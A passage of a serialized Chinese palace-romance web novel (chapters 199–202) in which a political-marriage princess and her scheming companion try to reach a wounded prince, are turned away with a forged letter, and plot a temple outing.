梅汐媛一走进韶华阁里,便觉天旋地转、头痛欲裂,她用手抚着太阳穴处,只觉自己头顶的整片天似是都要塌下来了。

赵嬷嬷赶忙将其扶到一旁,尚还有些阳光照射进来的软榻上斜靠着,一边手上蘸了些许安神的精油帮其按摩缓解着不适,一边关切问道“王妃这是怎么了?咱们殿下去了那种地方,就未必是行那种不耻之事啊。一切都还没弄清楚,王妃又何苦杞人忧天,庸人自扰呢?”

梅汐媛懒懒地靠在那里,微闭着眼睛,努力平息着自己心头的焦虑,缓缓道“赵嬷嬷,方才的那番话,我只不过是用来堵那贱人的而已。嬷嬷可知,本公主心里最担心的事发生了。”

“公主是说……”赵嬷嬷惊道。

此时,梅汐媛方才的一阵不适感,似是已经得到了缓解,便伸手止住赵嬷嬷,起身端坐起来,皱起眉头道“方才皇兄派人除了传来这个消息以外,还有更重要的一件事。皇兄已经怀疑本公主是有意在拖延寻找嫡公主的事,他警告本公主,以后绝对不许再如此行事了,否则便会将此事告知父王。多年以来,虽说有母后陪伴在父王身边,然父王却始终对嫡皇后一直痴心不改,心中有愧着。当年,他若全力阻止嫡皇后回西秦一趟,便不会造成如此大不幸。如果万一让父王知道了本公主怠慢这件他的心头大事,不但本公主会失宠,也一定会牵连到母后,到时候,怕是父王也一定会怀疑母后用心的。”

“要不…咱们就按三皇子的意思查一查。想来嫡公主…或许,她天生就是个短命鬼呢,想她倒也未必就一定会活着。即使她还活着,我们也照样可以让她永远地消失……”赵嬷嬷一边听着,一边狠狠地暗自琢磨道。

梅汐媛深叹口气,依旧满脸忧郁道“不,皇兄刚才传来的消息里说,因为本公主怠慢了这件事,所以他已经亲自到城西衣府,那丫头家附近,将那户人家打探的很清楚了。他怀疑那个丑丫头,十有八九便是我东宁国遗失了十七年多的嫡公主。”

“什么,三皇子亲自已经将其打听清楚了?他竟插手了,那…那这件事恐怕就难办了?”赵嬷嬷惊声,露出一脸的难色。

“皇兄最后邀约本公主寻机和他亲见一面。本公主该怎么办?该怎么办呢?怎么办?怎么办啊?”此时的梅汐媛已然心乱如麻,她一边怒吼

着,一边起身下榻来在地上不停地来回踱步着。

事到如今,她早已迷失了自己,不知道她究竟该如何面对周围她生命里出现的这些事和这些人。这些能将她捧到云端,亦可以将她踩在脚底的人和事。

赵嬷嬷一脸无奈地看着梅汐媛发狂,转念忽道“对了,殿下临走的时候,下令门上,在他回来之前王妃万不可以迈出王府半步,亦不准生人进入王府里来。那王妃如今怎样才能出的去这王府大门见三皇子呢?不如以此为由,先回拒了他?”

梅汐媛依窗而立,望着窗外天空中飘浮着的一朵云彩,似是忽然安静了下来,道“躲了初一,躲不过十五。没准儿,皇兄到时候又会以为这是本公主故意怠慢,又加重责备了呢。为何,这一切都会成为今天这个样子。想起以前小时候,在东宁的皇宫里,本公主跟在三皇兄的后面,是那样的开心快乐,无忧无虑。无论是在父王母后的面前,还是在嫡皇后娘娘面前…可世事为何总是会朝着我们不情愿看到的方向发展呢?”

就在这时,疾跑进来一个神色慌张,一袭粉色衣裙的小婢女,跌跌撞撞,踉踉跄跄着。

小婢女一进门里来便扑通一声跪倒在了地上,紧接着上气不接下气地禀道“娘…王妃娘娘,快…快…快去看看吧,大事不好了,秦王殿下…殿下他…他…他……”

眼前这个小婢女,显然不知道究竟受到了多大的惊吓,竟语无伦次到了如此境地,连一句话都说不明白。

梅汐媛已然静不下心,等不及其将消息禀告清楚了,便直接径自疾步朝着门外飞奔了出去,赵嬷嬷一见,狠狠地瞪了一眼尚还怯怯地跪在面前冰冷的地板上,大口喘息着的小婢女,忙走到一旁顺起一件淡黄色披风在其身后急追不舍着亦跟了上去。

此时,林月轩的大门,紧紧的关闭着。

门前石阶下,陆天骄正席地而跪着,梨花带雨、肝肠寸断又心急如焚地一遍接着一遍,哭着祈求道“民女陆天骄,真心祈求玥公主殿下,太子殿下:请允许民女进去林月轩里面,探视秦王殿下一眼吧,只要一眼便可,民女将感激不尽……”

而林月轩里面,众人纷纷都各自忙碌着。

轩辕昊听到外面楚楚可怜又甚是凄惨的女子哭声,忍不住好奇地开口问正在替轩辕翰擦着一脸风尘仆仆的轩辕玥道“皇姐,林月轩门口正跪着的那个哭成个泪人儿的女子是谁啊?这秦王府里,皇弟可没听说过除了那东宁国硬塞给咱皇叔的一个永乐公主,还有其他女子啊!难道,秦皇叔终于意识到了他这秦王府里阳气太重,也要考虑考虑广纳女眷,来阴阳调和了?”

“昊儿不要瞎说,那是西秦学院院长陆贤门上

的千金小姐,陆天骄,难道你不认得了?”

被轩辕玥这么一说,轩辕昊连忙近身过去到窗前,方才一堆人手忙脚乱地进门来时,他只远远地瞥了一眼那桂花树旁躲着的一妙龄女子,着实还真没瞧清楚其长相样貌。这会儿,趴在窗边认真地端详了半晌,仿佛这女子的骨子里还真的透着一副当年那个整日里就知道围着他皇叔转,粘人的跟个狗皮膏药似的西秦学院陆贤的掌上明珠陆天骄的小模样。

“几年未见,她倒是长的愈发水灵了啊。可惜,这些年无论她再怎么变,皇叔就是瞧不上眼,她也算是白搭了!”轩辕昊一边说着,一边回到轩辕玥的身边帮其换了一条柔软干净的白布巾。

“陆天骄这个女子,诡计多端,心机又极深沉,不像是个善类。以后,你可要离她远点儿,不要被这个女子给算计了。”

听了轩辕玥的话,轩辕昊立刻惊声道“哦?原来还是个蛇蝎美人啊,唉…那秦皇叔就更不会喜欢了,秦皇叔喜欢像云儿那样单纯善良又勇敢,骨子里还有股傲气的女子。”

一提到云儿,姐弟俩又瞬间都沉默不出声,一脸黯然了起来。

就在这时,院子里突然吵吵了起来……

(本章完)

第二百章:姐妹花勇闯林月轩

梅汐媛在赵嬷嬷的陪同下,一踏进林月轩的拱门里来,便被早已进到这座院落来的陆天骄此时的所作所为惊呆了。

她望着此时眼前这个楚楚可怜的女子,深吸了口气,紧接着三步并作两步急上前去朝其大声怒斥道“你来这个院子里做什么?谁让你来这儿的?还不快回去?”

陆天骄一走出韶华阁的院子,本来是打算右拐回去自己屋子的,她虽然已经如愿得知了她整日里碎碎念的她的翰哥哥的行踪,尽管这一次依然少不了那个让她恨得咬牙切齿的女人。可她却依然不听使唤地挪步至此,想要多停留一会儿在留有那个男人最多气息的地方。

没有人知道,她的心里究竟有多爱这个男人。于是,她又一次听从了自己的心,一直走到了林月轩外的一个角落,却不想让她遇到如此触目惊心的一幕。

“不,我不回去,求求你,不要赶我回去,让我看一眼殿下,就一眼,只要看一眼,只要让天骄看到殿下他是完完整整,他是好好的,天骄便立刻离开林月轩,绝不再多停留片刻。哪怕是…哪怕是让天骄离开整个秦王府,回到自己原来的地方,天骄也无怨无悔。求求你,姐姐,王妃娘娘,求求你帮帮天骄,帮帮天骄吧!”陆天骄紧紧地抓着此刻似是她唯一的救命稻草,立在她面前的梅汐媛的胳膊,跪着声泪俱下地乞求道。

“陆天骄,你这是做什么?你到底在做什么,你是不是疯了,什么要看到殿下他是完完整整,是好好的,殿下,殿下,殿下他到底怎么了?”梅汐媛听着这些话,整个人都感觉恍恍惚惚的,然心里却忽然浮出一抹不好的预感。

陆天骄继而抹了一把脸庞的泪水,哽咽着道“方才,方才我看到程副将他…他背着不省人事的殿下从外面进来,殿下的身上缠满了鲜血淋淋的白布带,他的脸色形同死灰一般,苍白而无力。殿下他,他一定是出大事了,一定是……”

“你给我住口!”尚未及陆天骄将心里的疑虑说出口来,梅汐媛便一把大力地甩开了陆天骄附在她胳膊上的手,狠狠呵斥其道。

“这不可能,绝不可能,殿下他英勇神武,足智多谋,怎么可能会受如此重的伤呢?一定是你看错了,一定是你看错了……”

梅汐媛一边说着,一边跌跌撞撞,神情恍惚地走上石阶去想要推门而入,亲自一探究竟。

就在这时,一直牢牢把守着林月轩门口,犹如天兵天将门神一般的两名侍卫迅速地执起各自手中的长剑,将梅汐媛果断挡在了门外。

梅汐媛的眼睛里顿时寒光四射,她本能地后退两步,怒不可遏地朝着的那两名侍卫怒斥道“你们这两个有眼无珠的废物,是今日才新来

的么?难道不认得本王妃?这究竟是谁给你们的胆子,竟连本王妃的路也敢挡,成心找死是不是?”

两名侍卫闻声,立刻拱手行礼,其中一名侍卫对其解释道“属下不敢,属下乃是奉将军之命在此看守,不许任何人进入林月轩里打扰,请王妃恕罪,王妃还是回去韶华阁歇着吧!”

梅汐媛闻言,当即朝其怒斥道“大胆!方才你说这是程将军的命令?本王妃竟然不知,在这秦王府里,区区一个小小的副将,何时起,也能骑到本王妃的头上去了?还不快给本王妃让开!”

梅汐媛瞪大了眼睛,怒目而视着那两名侍卫,然侍卫依旧纹丝不动地坚守着那道大门。只要梅汐媛不动,他们亦不会动半分,一旦梅汐媛动手,他们定要死守住那道门,这是命令,亦是他们的职责。

不知何时,陆天骄亦已经悄悄地站起身来紧跟在梅汐媛的身后,等待着破门而入的那一刻。

然一看到眼前所陷入的这片僵局,她灵机一动,忽然朝着身边的梅汐媛悄悄地使了个眼色,梅汐媛便立刻顿悟,冷不防地趁其不备,快速伸出一手来,抽出了那侍卫手中一直紧握着的剑鞘里的一柄利剑。继而飞快的倒转剑柄,便将其直接横在了俩人的面前,对其威胁道“你们到底让不让开,再不让开,可要仔细本王妃手中的刀剑无眼。本王妃从小到大,琴棋书画可谓是样样精通。却唯独从未使过剑,不知待会儿,本王妃不小心一动怒的话,这柄利剑到底是会伤到你们,还是会伤到本王妃自己呢?”

侍卫一听,顿时面面相觑着,似是心里都有些七上八下,忐忑不安起来,然始终却未松懈半分对林月轩的防守。

“怎么?你们不相信本王妃所说的话么?好,今日本王妃就好好教训教训你们这两个狗奴才,让你们好好长长记性。看看秦王府真正的主子到底是谁?”梅汐媛一边说着,一边鼓足了全身力气,忿忿地将手里的利剑高高举了起来。

就在她正准备着朝下狠狠地将剑劈下去的时候,忽然“吱呀”一声,林月轩的大门被人从里面将其打了开来。

“属下参见王妃娘娘”

原来,前来开门的是在林月轩里面听到外面一片哗然的程良。只见他一走出门来,便朝梅汐媛恭敬的拱手行礼道。

然梅汐媛却当即被其怔愣住,手里的长剑亦瞬间从手中滑落,一旁的侍卫连忙弯腰下去将剑拾起,稳稳地插入自己空荡荡的剑鞘之中。

此情此景,如此尴尬的一幕,梅汐媛一时间竟都不知该如何面对。

片刻后,她终是强压住了内心的愤怒,朝着程良正色道“程将军,本王妃有要事要见殿下一面,请将军代为通报。”毕竟,对于整日与轩

辕翰形影不离的程良,她始终还是要敬他三分的。

闻此,程良只低声喃喃了一句“王妃娘娘……”,似是突然犹豫不决了起来,不经意地朝身后瞥了一眼。

这时,立在梅汐媛身后早已迫不及待的陆天骄抢过梅汐媛的话,看起来甚是一副忧心地道“程将军,殿下他…是不是出了什么事?”

程良闻言,顿时朝着陆天骄的眼睛怔了一下,稍作犹豫,只道“哦,我们在城南捣毁北烈细作的窝点,与其交手时,殿下受了点轻伤,并无大碍,休息休息便……”

“不,怎么会是轻伤?不可能是轻伤,如若是轻伤的话,殿下怎么可能浑身都是血迹且昏迷不醒着,殿下的身上,还到处缠满了布条,那些布条,都被鲜血染红了,殿下流了那么多血。”陆天骄甚至等不及程良将话说完,便开口急急反驳道。

程良一时间竟被陆天骄质问的目瞪口呆,哑口无言了。自从轩辕翰在城南出事后,他一直都心惊胆战着。方才一进秦王府的大门,便只顾着将主子赶紧背入林月轩的寝殿里,却在一片手忙脚乱中,一点儿都没有意识到这一切,都被陆天骄真真切切地看在了眼里。

此刻,程良直勾勾地盯視着陆天骄坚定不移的眼睛,心想,她已经不是第一次偷窥林月轩了,如此看来,这个西秦学院的大小姐,伺机赖在秦王府里与梅汐媛终日形影不离,怕是并不是为了陪梅汐媛解闷,其真正的意图,该是在他这个主子的身上。

可聪慧又敏感的东宁永乐公主,如今的秦王妃梅汐媛,她应该不会不知道陆天骄的企图。莫非,难道是这俩个女人在背后悄悄达成了某种统一的共识或者其他什么,那究竟是什么呢?

眼下,对于主子的身受重伤和莫名的昏迷不醒,自是不能让这个东宁公主知晓,毕竟谁也不知道,她若知道了这个大秘密,究竟会做出什么事来?万一她动机不纯,将此事通报给了她的母国,那可就……

就在程良惊恐不已的沉思之际,梅汐媛开口道“程将军,本王妃念你终日服侍殿下,忠心耿耿,尽心尽责,所以敬你几分。可如果,程将军若敢拿殿下的生命安危开玩笑的话,那本王妃…绝不姑息。今日,本王妃若是看不到殿下本人,绝不罢休。”

梅汐媛的这话,由浅入深,声音由低至高,由柔至刚。

轩辕翰至今未醒,程良早已是接近崩溃的边缘,就在其恍恍惚惚之际,轩辕玥忽然从里面走了出来,手里拿着一纸书信置于身后,来到程良的身旁,欠身行礼对梅汐媛道“玥儿见过秦皇婶,这是秦皇叔给皇婶的亲笔书信,请皇婶亲阅。”

梅汐媛虽心里满是质疑,仍只能缓缓接过其递上来的书信,将其打开

一看,只见上面白纸黑字写道“近日城南袭击北烈细作,本王不慎身受轻伤,身体略感不适,极需静养,不便会客,勿多叨扰。府中诸事,皆由程将军代本王处理。”

不料梅汐媛看完这书信所言的始末后,竟道出一句“本王妃怎么知道,这究竟是不是殿下的亲笔书信?”

轩辕玥闻之朝其无奈地笑了笑,反问道“秦皇婶与秦皇叔大婚也已有些时日了,正值你侬我侬,如漆似胶之际,怎么竟连秦皇叔的笔迹亦不识呢?”

这时,陆天骄忙上前道“王妃娘娘,不如让民女帮您看看。”

梅汐媛似是除此之外也别无他法,便只好心不甘情不愿地将信递给了满是一脸期待着的陆天骄。

看来,今日要见到翰哥哥已是没有丝毫希望了。可是,如果能确定翰哥哥此时仍还能写好他那一手极具功力的好字来,想必也定是真的没有什么大碍。或许,真的是自己关心则乱,大惊小怪了。

只见陆天骄将信捧在手里,瞪大了眼睛,认认真真,一字一字,一笔一划地回忆辩识着。

半晌后,突见她情绪激动,就连整个身子似是都有些颤抖了起来,哭腔着道“没错,没错,这是殿下的亲笔,是殿下的字。”

“真的,你没看错!”梅汐媛朝其惊声道。

“殿下的字,天骄从认识殿下的第一天起,便已牢牢记在心里,化成灰也不会忘记。”陆天骄信誓旦旦道。

这时,轩辕玥深吸口气,挺直了身子道“既然如此,不知秦皇婶对于此书的内容,可还有其它质疑?还需不需要不顾一切地闯进去亲自证实一下呢?”

“还不快走,死赖在这里做什么?”只见梅汐媛顿时气冲冲地朝着陆天骄吼了一声,便再头也不回地径自踱步,出了林月轩的大门。

而这时,林月轩寝殿内,有个人正趴在窗前,紧紧地捂着自己的嘴,顿时笑得人仰马翻在了窗前的暖榻上……

(本章完)

第二百零一章:是宿命,亦是劫数

终于送走了梅汐媛和陆天骄这俩块烫手山芋。

这会儿,轩辕玥和程良都各自长长地舒了口。

程良一脸庆幸地对身旁的轩辕玥说道“幸亏公主及时赶到,方才属下差点儿就招架不住了。这还真是‘唯女子与小人难养也,近之则不逊,远之则怨。’,也不知道这陆家大小姐什么时候竟和王妃娘娘如此要好了。”

轩辕玥望着那俩人离去的方向,叹了口气,眼神悠长地说“这俩个极其难缠又阴险狡诈的女人,一个都极难对付,如今竟还使她们串通在了一起。如果云儿真还活着,等过了元宵,进了秦王府,这往后的日子,该是有多难熬啊!本公主此刻竟然希望,若是云儿她真还活着,永远都不要再回来了。或许,外面更广阔的自由自在的天地,会更适合她。”

听了轩辕玥的话,程良的心里却有些难过,他皱着眉头说“那公主可有替我家主子想过,如果衣姑娘真的已经死了,又或者她贪恋外面的自由空气,再也不回来了的话,殿下的心,会有多痛,又有多苦呢?这么多年来,没有人比公主更明白殿下的心意,不是么?”

闻此,轩辕玥出神的眼睛忽然飘落到程良的脸上,俩人彼此都默默地注视着对方的眼睛,昔日里轩辕翰孤独的影子占据了俩人所有的神经。

片刻后,程良忽一回神,方才问道“对了,刚才的信……”

轩辕玥解释道“事可从经,亦可从权。方才的那封信,只不过是昊儿的雕虫小技罢了。”

“原来如此,看来太子殿下真的是长大了!”程良感叹道。

至此许久,轩辕玥并未再说些什么,只是抬起头漫无目的的望着天空中飘浮的朵朵白云,最后默默地回头独自再次进入到林月轩內殿里去。

而程良亦在轩辕玥转身离开后,亦回到林月轩门口,对守门的两名手下再次叮嘱道“都打起精神来,把这里守好了,一只蚊子都不许放进去!”

侍卫齐拱手领命道“属下遵命!”

话一说完,程良便径自朝着自己的住处踱步过去。

接连多日在城南不休不眠的执行公务和长途跋涉以及对主子的担心,他也早已是精疲力尽,身心俱疲。此时,他这个凡胎肉骨也极需片刻的歇息,以恢复精力,继续接下来更为繁重的任务。

主子已然不知何时才能清醒过来,剩下的事,他都必须替他的主子全部处理妥当。

程良一边走,一边独自琢磨着。

城南这几日,与北烈大皇子的正面较量,表面上看起来似乎是他们赢了。

万娇阁被封,暗藏于其内的阴谋也已彻底被瓦解和摧毁,目前除了北烈大皇子拓跋泽侥幸潜逃在外,不知去向外,其他所有北烈敌寇亦已经被悉数擒拿

回京,玉娘亦已被成功解救。【#…!~免费阅读】

但是,他们也为此付出了沉痛的代价,主子至今昏迷不醒,衣上云又生死未卜。

思及此,程良忽然止住了脚步,继而连双拳亦瞬间紧紧地握了起来。

接着,只听他似是有些痛心般地轻唤了一声“衣姑娘”,随后便伴着声嘶力竭的“啊……”一声极其愤怒的吼叫声,一只紧紧握着的拳头便狠狠地砸在了回廊边的柱子上,惊起旁边树上的一群飞鸟。

轩辕玥一进到轩辕翰的寝殿来,一眼便看到了正笑得人仰马翻,在窗前的暖榻上抱腹不停地翻滚着的轩辕昊,她立刻顿足朝其厉声制止道“昊儿,快停下来,你这是在做什么?”

轩辕昊闻声缓缓坐起,支着小脑袋来倚在榻边不屑地道“皇姐,那个西秦学院骄傲的大小姐,莫不是就是如此聪慧过人的?亏她还和秦皇叔认识了那么多年,竟还妄言说什么即便是化成灰,亦能辩识出皇叔的笔迹来,真是笑死人了。”

轩辕玥走到轩辕昊的身旁坐了下来,抿了抿嘴,微笑着轻抚了抚他的小脑袋,说道“陆天骄,果然人如其名。傲世轻物又孤芳自赏,目无一切,似是天生便是那样的傲骄女子。可她是真的辜负了陆贤对她全心的满腹期待了,陆贤是多么希望她能成为犹如天赐一般值得他骄傲的女子。”

“原来陆贤给她取名为‘天骄’,是这个意思啊!”轩辕昊这才恍然大悟道。

轩辕玥依旧抿嘴对他笑了笑,继续道“不过,这次倒是真多亏了我们昊儿了。要不是你的字以假乱真,怕是要真让那个东宁公主给闯进来了。到时候,恐怕这后果可就真不堪设想了啊。”

轩辕昊被夸的似是有些不好意思,他摸了摸自己的后脑勺,转念道“皇姐,方才昊儿见那东宁公主着实竟连皇叔的字都不识。这世上,夫妻本应是最熟悉和亲密无间之人。可眼前这对璧人朝夕相处,却是如此陌生,不仅如此,他们整日里还要像防贼一样地防着对方,又还要纠缠生活在同一屋檐下,这日子该是有多难过呢?漫漫岁月,怕是对这俩人彼此,也都是一种永无止尽的煎熬吧!”

“谁说不是呢?”轩辕玥轻叹口气,道。

这时,轩辕昊忽然起身靠了过来,将脑袋歪在轩辕玥的肩上,忧心忡忡道“皇姐,你以后也会过这样的生活么?未来姐夫,也会像秦皇叔防永乐公主一般防着皇姐你吗?皇姐也会不识得姐夫的字迹吗?……昊儿的心,忽然感到好痛好痛,是替皇姐痛!皇姐是这个世上昊儿心里最爱的人,昊儿舍不得皇姐受这种苦……”

话到此处,轩辕昊似是已再也说不下去了,姐弟俩就这样静静地倚靠在一起,回想起俩人自小到大一路走来,

打打闹闹所度过的每一个开心和不开心的日子,那些只属于他们姐弟俩的记忆,脸上都不知不觉地挂满了泪水。

忽然,轩辕昊用手背抹了一把眼角渗出的泪水,看着轩辕玥的眼睛,郑重对其说道“皇姐,不如,你不要远嫁到东宁国去和亲了吧,昊儿回去亲自替皇姐向父皇求情,昊儿是父皇唯一的儿子,西秦国未来唯一的继承人,相信父皇一定会答应皇弟的请求的。”

轩辕玥听到他此时这些极具温暖的肺腑之言,忽的一把将轩辕昊揽入怀中,用她漂亮的下巴紧紧抵在轩辕昊的额头上,对其意味深长地说道“昊儿,来不及了,一切都来不及了。以后漫漫岁月,总有一日你会明白,只要遇到了那个人,纵使一切都只是场浮光掠影,向前只是万劫不复的无底深渊,你也终会甘之如饴地将这毒酒饮下。这是我们每个身为这尘世间的凡夫俗子,倾其终生都难以逃脱的宿命与劫数。云儿是,皇姐是,他…亦是……”

此话一出,一室寂静,姐弟俩紧紧地拥在一起,目光都不约而同地移向了对面卧榻上昏睡不醒的轩辕翰身上。

“气死我了,气死我了,真是欺人太甚了!在她的风华宫里闹闹她的公主脾气也就算了,如今,竟还跑到本王妃的秦王府门上来挑衅。看来,作为她的长辈,本王妃这个皇婶一定是平日里待她太好了,才会让她把本王妃看成是个软柿子,随她捏圆捏扁了去?可恶,真是可恶!”梅汐媛怒气冲冲地一回到韶华阁里,便一把重重地拍在了身旁的软榻扶手上,面目狰狞地咆哮起来。

“气大伤身呐,姐姐喝口菩提叶和桂花制成的安神茶,消消气。”陆天骄伸手接过身旁战战兢兢着,不敢上前去连续第二次奉茶的婢女手中的茶盏,对梅汐媛劝道。

梅汐媛闻声,却并未伸手将其笑脸捧上来的茶接下,而是狠狠地瞪了她一眼,对她谩骂道“废物,真是废物,竟然这般无用。你为何方才要承认那字是殿下的笔迹,如若不然,我们岂不是早已进去见到殿下的人了么?殿下有没有事,一见便知。你难道看不出,方才程良已经招架不住本王妃对他的质问了么?真不知你这心里究竟打的什么算盘?”

“姐姐:公主、太子和程将军,他们可都是殿下身边最亲信的人啊。这俗话说‘打狗还要看主人’,得罪了他们,以后怕是对姐姐没有任何好处的,只会伤了殿下和姐姐之间的情分。况且,公主拿出来的,那的确是殿下的亲笔书信,殿下的字,颇有力道,妹妹敢以性命保证,这世上绝对没有第二个人能模仿的了殿下的字,相信殿下,他真的只是受了点儿小伤吧。姐姐总不至于,执意要跟殿下扭着来吧。”

闻此,梅汐媛似是终于渐渐平息了下来。陆天骄见势再次笑着将茶奉上,梅汐媛努着嘴缓缓将其接过轻抿了一口。

“许是姐姐最近在王府里闷得时间太久了,心中抑郁憋得慌。不如,天骄陪姐姐出去散散心,可好?”陆天骄忽然说道。

“出去?去哪里?”梅汐媛对西秦国的概念,还只停留在距离秦王府不远处的一条街市而已。想想如果没有陆天骄,怕是自己永远都只能呆在韶华阁这座深院里了。此时,她顿然满心期待起来。

陆天骄稍作琢磨,道“殿下身体不适,不如…这次我们走远一点儿,就去…城南的城隍庙。妹妹听说那里的香火最旺盛,还有得道高僧。那里的神明亦最灵验,求什么,得什么。我们就以给殿下祈福求平安为名外出去那里逛逛,姐姐觉的如何?”

梅汐媛被陆天骄这话说的心里直痒痒,她忽然觉得自己的心里有好多话想跟神明说道说道,若心中的苦闷再得不到倾诉的话,她似是都要崩溃了。可却不禁忽然又犹豫起来,道“可是,本王妃已被殿下禁足了,如何出的去?”

陆天骄道“殿下是说,在他外出不在的时日里,不许姐姐出门。可如今,殿下不是已经回来了么?姐姐放心吧,一切都交给妹妹,妹妹一定能让姐姐去的了城南城隍庙。”

梅汐媛闻之,激动地一把握紧了陆天骄的手,一脸歉然道“那就有劳妹妹了。方才姐姐一时心急的气话,还望妹妹不要放在心上。”

陆天骄对其嫣然一笑,便转身离开了韶华阁。

(本章完)

第二百零二章:金丝鸟遇白莲花心计

程良宽衣解带,好不容易终于躺在了自己久违的床上,早已身心俱疲却辗转反侧了许久,还是合不上眼来稍息片刻。

就在这时,“咚咚咚”忽然一阵轻缓的叩门声响起。

“谁啊?”程良支起身,惊问。

门外传来女子娇柔的应答声“程将军,是我,陆天骄,有急事想要找程将军商议,烦请将军开一下门。”

“等会儿。”似是有些被打扰到,但他依旧不厌其烦的起身去开门。主子至今昏迷着,为免诸事被动,公主方才已然借机将秦王府所有的权利都交到了他的手上,他定要替主子守好了门户。

“吱呀”一声,门开了。

只见门外站着的陆天骄一袭粉衣长裙,端庄大方,彬彬有礼又如沐春风般轻盈。一脸笑吟吟,笑靥如花,叫人如痴如醉。

美人吞吞吐吐,又带着些许羞涩地柔声道了一句“程将军,你…是在休息吗?天骄打扰将军了。”

此情此景,美人当前,秀色可餐,怕是这世间没有几个男子能抵挡得了其浓郁的诱惑。

即使是如此一个整日里跟随在一个万年冰山的高冷王爷鞍前马后的男子,却远不如他的主子那般意志坚定。面对这样的温婉女子,此刻的程良竟瞪的有些呆了。

尔后,似是突然发觉了自己的失礼,便清了清嗓子,正色问道“陆小姐这么急找在下,有何急事?”

见此,陆天骄脸上的吟吟笑意不禁一时间僵住。猛一回神,依旧含笑着道“程将军,王妃娘娘见殿下身体欠安,自己便也寝食难安。所以,她想要往城南城隍庙去为殿下祈福。但因之前殿下下令王府守卫,殿下不在王府的时候,王妃不准踏出王府半步。可如今,殿下也回来了,将军您看,王妃娘娘是否可以……”

程良闻此忽然打断其话语,纳闷问道“王妃怎么会知道城南城隍庙的?”

“哦,这个…前些时日,天骄陪王妃娘娘出门定制了一枝金步摇,许是王妃在集市上听人说的吧。”陆天骄扯谎道。

“可最近城南发生的诸多军务都急需收尾,殿下又身体抱恙,极需静养。恐怕在下实在是抽不出时间来,陪王妃娘娘一同前往。”程良甚感分身乏术道。

陆天骄抿了抿那张柔软的红唇,轻声一叹,亦面露难色着道“也是,国事自是不容怠慢。只是…天骄本欲陪同王妃一齐前往,不巧近日身子不方便。可王妃听闻城南城隍庙有得道高僧主持,请愿极灵,故执意要前往。且时正值元宵佳节,城隍庙的香火一定尤为鼎盛,她怕错过了这个好时机,便更是心急如焚,巴不得即刻就启程前往。王妃也是一片好意,为了殿下。不如…程将军帮忙安排个可靠的下属陪同前往即可。殿下和将军刚从

城南清查敌寇回京,想必现在全西秦国里,那里的城防一定最为禁卫森严,没有比城南更安全的地方了,王妃娘娘应是安全的!”

见程良一直犹豫不决着,陆天骄忽然改色一脸忧郁的眼神道“说实话,自从殿下与王妃大婚以来,程将军也都看到了,殿下一直对王妃娘娘冷冷淡淡的。最近,王妃娘娘的情绪很是低落,这万一要是出点什么事,东宁国追究下来,那第一个被其牵连的便是殿下啊。当初,天骄答应王妃,愿久居王府与其做伴,忍心弃年迈的父亲于千里之外而不顾,亦都是为了殿下,为了翰哥哥呀!”

陆天骄一边动情地说着,竟悄悄拭起眼角的泪水来。

“好吧!在下来安排便是。”面对陆天骄此刻的满腔诚肯,片刻思量后,程良终点头答应道。

陆天骄随即欣喜地欠身行礼,道“多谢程将军体恤,那…天骄告辞了!”

话一说完,陆天骄便莞尔一笑,转身缓缓离去。

程良正独自若有所思着,走在回廊上的陆天骄忽然顿足下来,却并没有回头,依然柔声着道了句“对了,程将军终日伴在翰哥哥左右。翰哥哥的字,是不是好久未练了?怎么天骄看着,如今翰哥哥的字竟像是他,尚还不足十岁时候的了呢?”

程良闻之,惊讶地猛抬起头来望着她的背影,一脸愕然……

自打陆天骄一提起城南城隍庙祈福之行,梅汐媛便似是在韶华阁里再也坐不住了。

此刻,她正满心焦虑不安地来回踱步着。

“这个陆大小姐,这次总算是替王妃娘娘真的着想了一回。要是真的能去那个相传十分灵验的城隍庙的话,王妃娘娘不妨借机再求个一男半女回来。这要是真能有个孩子,公主以后的日子便也不会那么孤苦了。”赵嬷嬷在一边泡着茶,高兴地说道。

然梅汐媛却闻之冷笑一声,愣着道“孩子…谈何容易呢,嬷嬷难道看不出,这西秦秦王早已是打定了主意,这辈子都打算让本公主只做个有名无实的秦王妃了吗?”

一语至此,梅汐媛忽然叹了口气,默默地坐了下来。

赵嬷嬷闻之,不禁停下了手里的动作悄悄地瞄了她一眼,梅汐媛又道“本公主忽然觉得,自己当时选择错了。或许本公主,根本就不该答应父皇,来西秦国做这个和亲公主。原以为,即便是这灵空战神,西秦秦王,哪怕再如同传闻所言再冷再傲,本公主的柔情蜜意,亦都能将她捂化。可没想到,本公主竟会连半分都走不进他的心。本公主的满腹才情和这盛世容颜,竟都还抵不过一个小小药师家被退过婚的废柴丑女。本公主一生都不愿认输,可这次,忽然觉得自己输了,输的一败涂地。”

梅汐媛说着说着,缓

缓闭起了双眼来,放在软榻扶手上的一只纤纤玉手,顿时握的紧紧的。

赵嬷嬷见此,忙上前来劝慰道“公主万万不可泄气啊,就算不为自己着想,亦要为皇后娘娘着想啊。娘娘还等着看公主坐上她一生都永远坐不到的那个位置呢!只要公主是秦王正妃,守住这个位置,无论如何,公主就永远都是正室嫡位。”

梅汐媛轻叹口气,无力地睁开眼来,道“可是,嬷嬷,本公主真的好累,好累……”

赵嬷嬷听着看着,心疼极了“嬷嬷知道公主辛苦,可是‘吃得苦中苦,方为人上人’,为了能登上大位,即便再苦,公主也要忍啊。”

听着赵嬷嬷的话,她的眼睛忽然飘向了窗外面,蓝天上那几只自由的飞鸟,她是多么希望她也可以是只不被人从一个牢笼换到另一个牢笼里,可以自由翱翔的飞鸟。

可她偏偏被生成了一只极其高贵的羽色和鸣叫兼优的笼养观赏鸟——金丝雀,既然是金丝雀,就注定了她一世都是被关在金丝鸟笼里。既想要这世间极致的尊贵,便要付得起同样的代价。‘开弓没有回头箭’她早已知道,她永远只能被命运安排,永远都回不了头……

半晌后,她忽然开口吩咐道“赵嬷嬷,传信给三皇兄吧,就说本公主元宵节要在城南城隍庙为殿下祈福!”

赵嬷嬷闻之一脸愕然道“公主这是打算要……可是,这陆大小姐还尚未征得程将军同意呢?”

梅汐媛轻笑一声,道“陆大小姐?她可不是吃素的,别磨叽了,就照本公主方才的意思传信下去吧。”

“是”赵嬷嬷一边应着,将一盏具有强肝养胃,解郁安神之功效,可缓和情绪、补血气、消除疲劳、润泽肌肤的茶色粉红,里面飘浮着几朵娇艳玫瑰花,香气芬芳浓郁的茶汤递到了梅汐媛的手中,方才兀自走了出去。

一室寂静,梅汐媛花容月貌,独自对着杯中的血红玫瑰发了许久的呆,正欲提起兴致来品饮,忽传来门口娇滴滴的一声轻唤“姐姐!”

